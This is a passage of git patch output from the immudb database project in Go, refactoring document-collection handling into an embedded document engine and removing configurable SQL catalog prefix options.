collectionSpec := make([]*sql.ColSpec, 0, len(pkeys)) + + // validate collection to contain at least one primary key + if len(pkeys) == 0 { + return fmt.Errorf("collection must have at least one primary key") + } + + // validate primary keys + for name, pk := range pkeys { + schType, isValid := schemaToValueType[pk.Type] + if !isValid { + return fmt.Errorf("invalid primary key type: %v", pk) + } + primaryKeys = append(primaryKeys, name) + // TODO: add support for other types + // TODO: add support for auto increment + collectionSpec = append(collectionSpec, sql.NewColSpec(name, schType, 0, false, false)) + } + + // add support for blob + // TODO: add support for max length for blob storage + collectionSpec = append(collectionSpec, sql.NewColSpec(defaultDocumentBLOBField, sql.BLOBType, 0, false, false)) + + _, _, err := d.ExecPreparedStmts( + context.Background(), + nil, + []sql.SQLStmt{sql.NewCreateTableStmt( + collectionName, + false, + collectionSpec, + primaryKeys, + )}, + nil, + ) + return err +} + +func (d *Engine) CreateDocument(ctx context.Context, collectionName string, documents []*structpb.Struct) (string, error) { + tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return "", err + } + defer tx.Cancel() + + // check if collection exists + table, err := tx.Catalog().GetTableByName(d.CurrentDatabase(), collectionName) + if err != nil { + return "", err + } + + cols := make([]string, 0) + tcolumns := table.ColsByName() + rows := make([]*sql.RowSpec, 0) + + for _, col := range tcolumns { + cols = append(cols, col.Name()) + } + + // TODO: should be able to send only a single document + for _, doc := range documents { + values := make([]sql.ValueExp, 0) + for _, col := range tcolumns { + switch col.Name() { + case defaultDocumentBLOBField: + document, err := NewDocumentFrom(doc) + if err != nil { + return "", err + } + res, err := document.MarshalJSON() + if err != nil { + return "", err + } + values = append(values, sql.NewBlob(res)) + default: + if rval, ok := doc.Fields[col.Name()]; ok { + valType, err := valueTypeToExp(col.Type(), rval) + if err != nil { + return "", err + } + values = append(values, valType) + } + } + } + + if len(values) > 0 { + rows = append(rows, sql.NewRowSpec(values)) + } + } + + // add documents to collection + _, _, err = d.ExecPreparedStmts( + ctx, + nil, + []sql.SQLStmt{ + sql.NewUpserIntoStmt( + d.CurrentDatabase(), + collectionName, + cols, + rows, + nil, + ), + }, + nil, + ) + + return "", err +} + +// TODO: remove schema response from this function +func (d *Engine) GetCollection(ctx context.Context, collectionName string) (resp *schemav2.CollectionInformation, err error) { + tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer tx.Cancel() + + // check if collection exists + table, err := tx.Catalog().GetTableByName(d.CurrentDatabase(), collectionName) + if err != nil { + return nil, fmt.Errorf("collection %s does not exist", collectionName) + } + + // fetch primary and index keys from collection schema + indexes := table.GetIndexes() + if len(indexes) == 0 { + return nil, fmt.Errorf("collection %s does not have a indexes", collectionName) + } + + // iterate over indexes and extract primary and index keys + for _, idx := range indexes { + for _, col := range idx.Cols() { + var colType schemav2.IndexType + switch col.Type() { + case sql.VarcharType: + colType = schemav2.IndexType_STRING + case sql.IntegerType: + colType = schemav2.IndexType_INTEGER + case sql.BLOBType: + colType = schemav2.IndexType_STRING + } + + // check if primary key + if idx.IsPrimary() { + resp.PrimaryKeys[col.Name()] = &schemav2.IndexOption{Type: colType} + } else { + resp.IndexKeys[col.Name()] = &schemav2.IndexOption{Type: colType} + } + } + } + + return resp, nil +} + +// GenerateBinBoolExp generates a boolean expression from a list of expressions. +func (d *Engine) GenerateBinBoolExp(ctx context.Context, collection string, expressions []*schemav2.DocumentQuery) (*sql.BinBoolExp, error) { + if len(expressions) == 0 { + return nil, nil + } + + tcols, err := d.getCollectionSchema(ctx, collection) + if err != nil { + return nil, err + } + + // Convert each expression to a boolean expression. + boolExps := make([]*sql.CmpBoolExp, len(expressions)) + for i, exp := range expressions { + fieldType, ok := tcols[exp.Field] + if !ok { + return nil, fmt.Errorf("unsupported field %v", exp.Field) + } + value, err := valueTypeToExp(fieldType.Type(), exp.Value) + if err != nil { + return nil, err + } + + colSelector := sql.NewColSelector(d.CurrentDatabase(), collection, exp.GetField(), "") + + boolExps[i] = sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) + } + + // Combine boolean expressions using AND operator. + result := sql.NewBinBoolExp(sql.AND, boolExps[0].Left(), boolExps[0].Right()) + + for _, exp := range boolExps[1:] { + result = sql.NewBinBoolExp(sql.AND, result, exp) + } + + return result, nil +} + +func (d *Engine) getCollectionSchema(ctx context.Context, collection string) (map[string]*sql.Column, error) { + tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer tx.Cancel() + + // check if collection exists + table, err := tx.Catalog().GetTableByName(d.CurrentDatabase(), collection) + if err != nil { + return nil, err + } + + return table.ColsByName(), nil +} + +func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries []*schemav2.DocumentQuery, maxResultSize int) (*schemav2.DocumentSearchResponse, error) { + exp, err := d.GenerateBinBoolExp(ctx, collectionName, queries) + if err != nil { + return nil, err + } + + op := sql.NewSelectStmt( + d.CurrentDatabase(), + collectionName, + exp, + ) + + r, err := d.QueryPreparedStmt(ctx, nil, op, nil) + if err != nil { + return nil, err + } + defer r.Close() + + colDescriptors, err := r.Columns(ctx) + if err != nil { + return nil, err + } + + cols := make([]*schema.Column, len(colDescriptors)) + + for i, c := range colDescriptors { + dbname := c.Database + if c.Database == "dbinstance" { + // TODO: Check what the db name is + // dbname = d.name + dbname = d.CurrentDatabase() + } + + des := &sql.ColDescriptor{ + AggFn: c.AggFn, + Database: dbname, + Table: c.Table, + Column: c.Column, + Type: c.Type, + } + cols[i] = &schema.Column{Name: des.Column, Type: des.Type} + } + + resp := &schemav2.DocumentSearchResponse{Results: []*structpb.Struct{}} + + for l := 1; ; l++ { + row, err := r.Read(ctx) + if err == sql.ErrNoMoreRows { + break + } + if err != nil { + return nil, err + } + + document := &structpb.Struct{Fields: map[string]*structpb.Value{}} + for i := range colDescriptors { + v := row.ValuesByPosition[i] + vtype, err := valueTypeToFieldValue(v) + if err != nil { + return nil, err + } + document.Fields[cols[i].Name] = vtype + } + resp.Results = append(resp.Results, document) + + if l == maxResultSize { + return nil, fmt.Errorf("%w: found at least %d documents (the maximum limit). "+ + "Query constraints can be applied using the LIMIT clause", + errors.New("result size limit reached"), maxResultSize) + } + } + + return resp, nil +} diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index a85da0cda4..4c298528c6 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -73,14 +73,7 @@ type Column struct { notNull bool } -func NewCatalog(databasePrefix, tablePrefix, columnPrefix, indexPrefix string) *Catalog { - return &Catalog{ - dbsByID: map[uint32]*Database{}, - dbsByName: map[string]*Database{}, - } -} - -func newSQLCatalog() *Catalog { +func newCatalog() *Catalog { return &Catalog{ dbsByID: map[uint32]*Database{}, dbsByName: map[string]*Database{}, @@ -92,10 +85,6 @@ func (c *Catalog) ExistDatabase(db string) bool { return exists } -func (c *Catalog) NewDatabase(id uint32, name string) (*Database, error) { - return c.newDatabase(id, name) -} - func (c *Catalog) newDatabase(id uint32, name string) (*Database, error) { exists := c.ExistDatabase(name) if exists { @@ -314,10 +303,6 @@ func indexName(tableName string, cols []*Column) string { return buf.String() } -func (db *Database) NewTable(name string, colsSpec []*ColSpec) (table *Table, err error) { - return db.newTable(name, colsSpec) -} - func (db *Database) newTable(name string, colsSpec []*ColSpec) (table *Table, err error) { if len(name) == 0 || len(colsSpec) == 0 { return nil, ErrIllegalArguments @@ -524,10 +509,6 @@ func (c *Column) IsAutoIncremental() bool { return c.autoIncrement } -func (c *Column) Table() *Table { - return c.table -} - func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { switch sqlType { case BooleanType: @@ -541,13 +522,9 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { return maxLen >= 0 } -func (c *Catalog) Load(prefix []byte, tx *store.OngoingTx) error { - return c.load(prefix, tx) -} - -func (c *Catalog) load(prefix []byte, tx *store.OngoingTx) error { +func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(prefix, catalogDatabasePrefix), + Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -566,7 +543,7 @@ func (c *Catalog) load(prefix []byte, tx *store.OngoingTx) error { return err } - id, err := unmapDatabaseID(prefix, mkey) + id, err := unmapDatabaseID(sqlPrefix, mkey) if err != nil { return err } @@ -581,7 +558,7 @@ func (c *Catalog) load(prefix []byte, tx *store.OngoingTx) error { return err } - err = db.loadTables(prefix, tx) + err = db.loadTables(sqlPrefix, tx) if err != nil { return err } @@ -590,9 +567,9 @@ func (c *Catalog) load(prefix []byte, tx *store.OngoingTx) error { return nil } -func (db *Database) loadTables(prefix []byte, tx *store.OngoingTx) error { +func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(prefix, catalogTablePrefix, EncodeID(db.id)), + Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(db.id)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -611,7 +588,7 @@ func (db *Database) loadTables(prefix []byte, tx *store.OngoingTx) error { return err } - dbID, tableID, err := unmapTableID(prefix, mkey) + dbID, tableID, err := unmapTableID(sqlPrefix, mkey) if err != nil { return err } @@ -620,7 +597,7 @@ func (db *Database) loadTables(prefix []byte, tx *store.OngoingTx) error { return ErrCorruptedData } - colSpecs, err := loadColSpecs(db.id, tableID, tx, prefix) + colSpecs, err := loadColSpecs(db.id, tableID, tx, sqlPrefix) if err != nil { return err } @@ -639,13 +616,13 @@ func (db *Database) loadTables(prefix []byte, tx *store.OngoingTx) error { return ErrCorruptedData } - err = table.loadIndexes(prefix, tx) + err = table.loadIndexes(sqlPrefix, tx) if err != nil { return err } if table.autoIncrementPK { - encMaxPK, err := loadMaxPK(prefix, tx, table) + encMaxPK, err := loadMaxPK(sqlPrefix, tx, table) if err == store.ErrNoMoreEntries { continue } @@ -671,9 +648,9 @@ func (db *Database) loadTables(prefix []byte, tx *store.OngoingTx) error { return nil } -func loadMaxPK(prefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { +func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { pkReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(prefix, PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(PKIndexID)), + Prefix: mapKey(sqlPrefix, PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(PKIndexID)), DescOrder: true, } @@ -688,11 +665,11 @@ func loadMaxPK(prefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) return nil, err } - return unmapIndexEntry(table.primaryIndex, prefix, mkey) + return unmapIndexEntry(table.primaryIndex, sqlPrefix, mkey) } -func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, prefix []byte) (specs []*ColSpec, err error) { - initialKey := mapKey(prefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) +func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { + initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -716,7 +693,7 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, prefix []byte) (spe return nil, err } - mdbID, mtableID, colID, colType, err := unmapColSpec(prefix, mkey) + mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) if err != nil { return nil, err } @@ -751,8 +728,8 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, prefix []byte) (spe return } -func (table *Table) loadIndexes(prefix []byte, tx *store.OngoingTx) error { - initialKey := mapKey(prefix, catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id)) +func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { + initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id)) idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -774,7 +751,7 @@ func (table *Table) loadIndexes(prefix []byte, tx *store.OngoingTx) error { return err } - dbID, tableID, indexID, err := unmapIndex(prefix, mkey) + dbID, tableID, indexID, err := unmapIndex(sqlPrefix, mkey) if err != nil { return err } @@ -894,8 +871,8 @@ func asType(t string) (SQLValueType, error) { return t, ErrCorruptedData } -func unmapIndex(prefix, mkey []byte) (dbID, tableID, indexID uint32, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(catalogIndexPrefix)) +func unmapIndex(sqlPrefix, mkey []byte) (dbID, tableID, indexID uint32, err error) { + encID, err := trimPrefix(sqlPrefix, mkey, []byte(catalogIndexPrefix)) if err != nil { return 0, 0, 0, err } @@ -911,12 +888,12 @@ func unmapIndex(prefix, mkey []byte) (dbID, tableID, indexID uint32, err error) return } -func unmapIndexEntry(index *Index, prefix, mkey []byte) (encPKVals []byte, err error) { +func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, err error) { if index == nil { return nil, ErrIllegalArguments } - enc, err := trimPrefix(prefix, mkey, []byte(index.prefix())) + enc, err := trimPrefix(sqlPrefix, mkey, []byte(index.prefix())) if err != nil { return nil, ErrCorruptedData } diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 329b6862b2..9842047976 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -23,7 +23,7 @@ import ( ) func TestFromEmptyCatalog(t *testing.T) { - catalog := newSQLCatalog() + catalog := newCatalog() dbs := catalog.Databases() require.Empty(t, dbs) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index d3600281dd..e64c5a0df2 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -102,12 +102,6 @@ type Engine struct { distinctLimit int autocommit bool - // prefixes - databasePrefix string - tablePrefix string - columnPrefix string - indexPrefix string - currentDatabase string multidbHandler MultiDBHandler @@ -137,11 +131,6 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { prefix: make([]byte, len(opts.prefix)), distinctLimit: opts.distinctLimit, autocommit: opts.autocommit, - - databasePrefix: opts.databasePrefix, - tablePrefix: opts.tablePrefix, - columnPrefix: opts.columnPrefix, - indexPrefix: opts.indexPrefix, } copy(e.prefix, opts.prefix) @@ -213,7 +202,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return nil, err } - catalog := NewCatalog(e.databasePrefix, e.tablePrefix, e.columnPrefix, e.indexPrefix) + catalog := newCatalog() err = catalog.load(e.prefix, tx) if err != nil { @@ -503,7 +492,7 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error e.mutex.RLock() defer e.mutex.RUnlock() - catalog := NewCatalog(e.databasePrefix, e.tablePrefix, e.columnPrefix, e.indexPrefix) + catalog := newCatalog() err := catalog.addSchemaToTx(e.prefix, tx) if err != nil { return err diff --git a/embedded/sql/options.go b/embedded/sql/options.go index be02bed9ce..43df3047cb 100644 --- a/embedded/sql/options.go +++ b/embedded/sql/options.go @@ -28,21 +28,11 @@ type Options struct { prefix []byte distinctLimit int autocommit bool - - // prefixes - databasePrefix string - tablePrefix string - columnPrefix string - indexPrefix string } func DefaultOptions() *Options { return &Options{ - distinctLimit: defaultDistinctLimit, - databasePrefix: catalogDatabasePrefix, - tablePrefix: catalogTablePrefix, - columnPrefix: catalogColumnPrefix, - indexPrefix: catalogIndexPrefix, + distinctLimit: defaultDistinctLimit, } } @@ -72,35 +62,3 @@ func (opts *Options) WithAutocommit(autocommit bool) *Options { opts.autocommit = autocommit return opts } - -func (opts *Options) GetPrefix() []byte { - return opts.prefix -} - -func (opts *Options) GetDistinctLimit() int { - return opts.distinctLimit -} - -func (opts *Options) GetAutoCommit() bool { - return opts.autocommit -} - -func (opts *Options) WithDatabasePrefix(databasePrefix string) *Options { - opts.databasePrefix = databasePrefix - return opts -} - -func (opts *Options) WithTablePrefix(tablePrefix string) *Options { - opts.tablePrefix = tablePrefix - return opts -} - -func (opts *Options) WithColumnPrefix(columnPrefix string) *Options { - opts.columnPrefix = columnPrefix - return opts -} - -func (opts *Options) WithIndexPrefix(indexPrefix string) *Options { - opts.indexPrefix = indexPrefix - return opts -} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 9aa38fade5..57501fa50c 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -213,7 +213,7 @@ func (stmt *CreateDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params ma return nil, err } - err = tx.set(mapKey(tx.sqlPrefix(), tx.engine.databasePrefix, EncodeID(db.id)), nil, []byte(stmt.DB)) + err = tx.set(mapKey(tx.sqlPrefix(), catalogDatabasePrefix, EncodeID(db.id)), nil, []byte(stmt.DB)) if err != nil { return nil, err } @@ -284,7 +284,7 @@ func persistColumn(col *Column, tx *SQLTx) error { mappedKey := mapKey( tx.sqlPrefix(), - tx.engine.columnPrefix, + catalogColumnPrefix, EncodeID(col.table.db.id), EncodeID(col.table.id), EncodeID(col.id), @@ -342,7 +342,7 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s } } - mappedKey := mapKey(tx.sqlPrefix(), tx.engine.tablePrefix, EncodeID(tx.currentDB.id), EncodeID(table.id)) + mappedKey := mapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(tx.currentDB.id), EncodeID(table.id)) err = tx.set(mappedKey, nil, []byte(table.name)) if err != nil { @@ -448,7 +448,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s copy(encodedValues[1+i*colSpecLen:], EncodeID(col.id)) } - mappedKey := mapKey(tx.sqlPrefix(), tx.engine.indexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(index.id)) + mappedKey := mapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(index.id)) err = tx.set(mappedKey, nil, encodedValues) if err != nil { diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index fe94f257fe..9e4d3ebedd 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -2,70 +2,8 @@ package database import ( "context" - "fmt" - object "github.com/codenotary/immudb/embedded/document" - "github.com/codenotary/immudb/embedded/sql" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" - "github.com/codenotary/immudb/pkg/api/schema" - "google.golang.org/protobuf/types/known/structpb" -) - -const ( - defaultDocumentBLOBField = "_obj" -) - -// Schema to ValueType mapping -var ( - schemaToValueType = map[schemav2.IndexType]sql.SQLValueType{ - schemav2.IndexType_STRING: sql.VarcharType, - schemav2.IndexType_INTEGER: sql.IntegerType, - } - - // ValueType to ValueExp conversion - valueTypeToExp = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { - errType := fmt.Errorf("unsupported type %v", stype) - switch stype { - case sql.VarcharType: - _, ok := value.GetKind().(*structpb.Value_StringValue) - if !ok { - return nil, errType - } - return sql.NewVarchar(value.GetStringValue()), nil - case sql.IntegerType: - _, ok := value.GetKind().(*structpb.Value_NumberValue) - if !ok { - return nil, errType - } - return sql.NewNumber(int64(value.GetNumberValue())), nil - case sql.BLOBType: - _, ok := value.GetKind().(*structpb.Value_StructValue) - if !ok { - return nil, errType - } - return sql.NewBlob([]byte(value.GetStructValue().String())), nil - } - - return nil, errType - } - - valueTypeToFieldValue = func(tv sql.TypedValue) (*structpb.Value, error) { - errType := fmt.Errorf("unsupported type %v", tv.Type()) - value := &structpb.Value{} - switch tv.Type() { - case sql.VarcharType: - value.Kind = &structpb.Value_StringValue{StringValue: tv.Value().(string)} - return value, nil - case sql.IntegerType: - value.Kind = &structpb.Value_NumberValue{NumberValue: float64(tv.Value().(int64))} - return value, nil - case sql.BLOBType: - value.Kind = &structpb.Value_StringValue{StringValue: string(tv.Value().([]byte))} - return value, nil - } - - return nil, errType - } ) // ObjectDatabase is the interface for object database @@ -83,286 +21,20 @@ type ObjectDatabase interface { // GetCollection returns the collection schema func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (resp *schemav2.CollectionInformation, err error) { - tx, err := d.documentEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return nil, err - } - defer tx.Cancel() - - // check if collection exists - table, err := tx.Catalog().GetTableByName(d.name, req.Name) - if err != nil { - return nil, fmt.Errorf("collection %s does not exist", req.Name) - } - - // fetch primary and index keys from collection schema - indexes := table.GetIndexes() - if len(indexes) == 0 { - return nil, fmt.Errorf("collection %s does not have a indexes", req.Name) - } - - // iterate over indexes and extract primary and index keys - for _, idx := range indexes { - for _, col := range idx.Cols() { - var colType schemav2.IndexType - switch col.Type() { - case sql.VarcharType: - colType = schemav2.IndexType_STRING - case sql.IntegerType: - colType = schemav2.IndexType_INTEGER - case sql.BLOBType: - colType = schemav2.IndexType_STRING - } - - // check if primary key - if idx.IsPrimary() { - resp.PrimaryKeys[col.Name()] = &schemav2.IndexOption{Type: colType} - } else { - resp.IndexKeys[col.Name()] = &schemav2.IndexOption{Type: colType} - } - } - } - - return resp, nil + return d.documentEngine.GetCollection(ctx, req.Name) } // CreateCollection creates a new collection func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error { - collectionName := req.Name - primaryKeys := make([]string, 0) - collectionSpec := make([]*sql.ColSpec, 0, len(req.PrimaryKeys)) - - // validate collection to contain at least one primary key - if len(req.PrimaryKeys) == 0 { - return fmt.Errorf("collection must have at least one primary key") - } - - // validate primary keys - for name, pk := range req.PrimaryKeys { - schType, isValid := schemaToValueType[pk.Type] - if !isValid { - return fmt.Errorf("invalid primary key type: %v", pk) - } - primaryKeys = append(primaryKeys, name) - // TODO: add support for other types - // TODO: add support for auto increment - collectionSpec = append(collectionSpec, sql.NewColSpec(name, schType, 0, false, false)) - } - - // add support for blob - // TODO: add support for max length for blob storage - collectionSpec = append(collectionSpec, sql.NewColSpec(defaultDocumentBLOBField, sql.BLOBType, 0, false, false)) - - _, _, err := d.documentEngine.ExecPreparedStmts( - context.Background(), - nil, - []sql.SQLStmt{sql.NewCreateTableStmt( - collectionName, - false, - collectionSpec, - primaryKeys, - )}, - nil, - ) - return err -} - -func (d *db) getCollectionSchema(ctx context.Context, collection string) (map[string]*sql.Column, error) { - tx, err := d.documentEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return nil, err - } - defer tx.Cancel() - - // check if collection exists - table, err := tx.Catalog().GetTableByName(d.documentEngine.CurrentDatabase(), collection) - if err != nil { - return nil, err - } - - return table.ColsByName(), nil + return d.documentEngine.CreateCollection(ctx, req.Name, req.PrimaryKeys, req.IndexKeys) } // CreateDocument creates a new document func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) { - tx, err := d.documentEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return "", err - } - defer tx.Cancel() - - // check if collection exists - table, err := tx.Catalog().GetTableByName(d.documentEngine.CurrentDatabase(), req.Collection) - if err != nil { - return "", err - } - - cols := make([]string, 0) - tcolumns := table.ColsByName() - rows := make([]*sql.RowSpec, 0) - - for _, col := range tcolumns { - cols = append(cols, col.Name()) - } - - // TODO: should be able to send only a single document - for _, doc := range req.Document { - values := make([]sql.ValueExp, 0) - for _, col := range tcolumns { - switch col.Name() { - case defaultDocumentBLOBField: - document, err := object.NewDocumentFrom(doc) - if err != nil { - return "", err - } - res, err := document.MarshalJSON() - if err != nil { - return "", err - } - values = append(values, sql.NewBlob(res)) - default: - if rval, ok := doc.Fields[col.Name()]; ok { - valType, err := valueTypeToExp(col.Type(), rval) - if err != nil { - return "", err - } - values = append(values, valType) - } - } - } - - if len(values) > 0 { - rows = append(rows, sql.NewRowSpec(values)) - } - } - - // add documents to collection - _, _, err = d.documentEngine.ExecPreparedStmts( - ctx, - nil, - []sql.SQLStmt{ - sql.NewUpserIntoStmt( - d.documentEngine.CurrentDatabase(), - req.Collection, - cols, - rows, - nil, - ), - }, - nil, - ) - - return "", err + return d.documentEngine.CreateDocument(ctx, req.Collection, req.Document) } // GetDocument returns the document func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { - exp, err := d.generateBinBoolExp(ctx, req.Collection, req.Query) - if err != nil { - return nil, err - } - - op := sql.NewSelectStmt( - d.documentEngine.CurrentDatabase(), - req.Collection, - exp, - ) - - r, err := d.documentEngine.QueryPreparedStmt(ctx, nil, op, nil) - if err != nil { - return nil, err - } - defer r.Close() - - colDescriptors, err := r.Columns(ctx) - if err != nil { - return nil, err - } - - cols := make([]*schema.Column, len(colDescriptors)) - - for i, c := range colDescriptors { - dbname := c.Database - if c.Database == dbInstanceName { - dbname = d.name - } - - des := &sql.ColDescriptor{ - AggFn: c.AggFn, - Database: dbname, - Table: c.Table, - Column: c.Column, - Type: c.Type, - } - cols[i] = &schema.Column{Name: des.Column, Type: des.Type} - } - - resp := &schemav2.DocumentSearchResponse{Results: []*structpb.Struct{}} - - for l := 1; ; l++ { - row, err := r.Read(ctx) - if err == sql.ErrNoMoreRows { - break - } - if err != nil { - return nil, err - } - - document := &structpb.Struct{Fields: map[string]*structpb.Value{}} - for i := range colDescriptors { - v := row.ValuesByPosition[i] - vtype, err := valueTypeToFieldValue(v) - if err != nil { - return nil, err - } - document.Fields[cols[i].Name] = vtype - } - resp.Results = append(resp.Results, document) - - if l == d.maxResultSize { - return nil, fmt.Errorf("%w: found at least %d documents (the maximum limit). "+ - "Query constraints can be applied using the LIMIT clause", - ErrResultSizeLimitReached, d.maxResultSize) - } - } - - return resp, nil -} - -// generateBinBoolExp generates a boolean expression from a list of expressions. -func (d *db) generateBinBoolExp(ctx context.Context, collection string, expressions []*schemav2.DocumentQuery) (*sql.BinBoolExp, error) { - if len(expressions) == 0 { - return nil, nil - } - - tcols, err := d.getCollectionSchema(ctx, collection) - if err != nil { - return nil, err - } - - // Convert each expression to a boolean expression. - boolExps := make([]*sql.CmpBoolExp, len(expressions)) - for i, exp := range expressions { - fieldType, ok := tcols[exp.Field] - if !ok { - return nil, fmt.Errorf("unsupported field %v", exp.Field) - } - value, err := valueTypeToExp(fieldType.Type(), exp.Value) - if err != nil { - return nil, err - } - - colSelector := sql.NewColSelector(d.documentEngine.CurrentDatabase(), collection, exp.GetField(), "") - - boolExps[i] = sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) - } - - // Combine boolean expressions using AND operator. - result := sql.NewBinBoolExp(sql.AND, boolExps[0].Left(), boolExps[0].Right()) - - for _, exp := range boolExps[1:] { - result = sql.NewBinBoolExp(sql.AND, result, exp) - } - - return result, nil + return d.documentEngine.GetDocument(ctx, req.Collection, req.Query, d.maxResultSize) } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index bcdc0ec04f..7417cb18d8 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -125,7 +125,7 @@ func TestGenerateBinBoolExp(t *testing.T) { // }, // } - _, err = db.generateBinBoolExp(context.Background(), "mycollection", expressions) + _, err = db.documentEngine.GenerateBinBoolExp(context.Background(), "mycollection", expressions) require.NoError(t, err) // if !reflect.DeepEqual(actual, expected) { // t.Errorf("GenerateBinBoolExp() = %v, want %v", actual, expected) From fbb3dd3d1bc4ad5a71deb115fb3493e298648f88 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 13 Mar 2023 10:48:53 +0530 Subject: [PATCH 0320/1062] chore(embedded/document): change querier from BinBoolExp to CmpBoolExp --- embedded/document/document.go | 28 ----------- embedded/document/document_test.go | 57 +++++++++++++++++++++++ embedded/document/engine.go | 64 +++++++++----------------- embedded/document/schema_test.go | 27 +++++++++++ pkg/database/document_database.go | 50 +++++++++++++++++--- pkg/database/document_database_test.go | 22 +++++++-- pkg/server/db_dummy_closed.go | 4 +- 7 files changed, 168 insertions(+), 84 deletions(-) create mode 100644 embedded/document/document_test.go create mode 100644 embedded/document/schema_test.go diff --git a/embedded/document/document.go b/embedded/document/document.go index 65a2e25c7a..0b1af8cb33 100644 --- a/embedded/document/document.go +++ b/embedded/document/document.go @@ -4,7 +4,6 @@ import ( "encoding/json" "errors" "fmt" - "io" "github.com/tidwall/gjson" ) @@ -85,30 +84,3 @@ func (d *Document) Get(field string) interface{} { } return nil } - -// FieldPaths returns the paths to fields & nested fields in dot notation format -func (d *Document) FieldPaths() []string { - paths := &[]string{} - d.paths(d.result, paths) - return *paths -} - -func (d *Document) paths(result gjson.Result, pathValues *[]string) { - result.ForEach(func(key, value gjson.Result) bool { - if value.IsObject() { - d.paths(value, pathValues) - } else { - *pathValues = append(*pathValues, value.Path(d.result.Raw)) - } - return true - }) -} - -// Encode encodes the json document to the io writer -func (d *Document) Encode(w io.Writer) error { - _, err := w.Write(d.Bytes()) - if err != nil { - return fmt.Errorf("failed to write document: %w", err) - } - return nil -} diff --git a/embedded/document/document_test.go b/embedded/document/document_test.go new file mode 100644 index 0000000000..1a1ee5ef91 --- /dev/null +++ b/embedded/document/document_test.go @@ -0,0 +1,57 @@ +package document + +import ( + "testing" + + "github.com/stretchr/testify/assert" +) + +func newDoc(id, name, cid interface{}) *Document { + doc, err := NewDocumentFrom(map[string]interface{}{ + "id": id, + "name": name, + "age": cid, + }) + if err != nil { + panic(err) + } + return doc +} + +func TestDocument(t *testing.T) { + type user struct { + ID string `json:"id"` + Name string `json:"name"` + Age int `json:"age"` 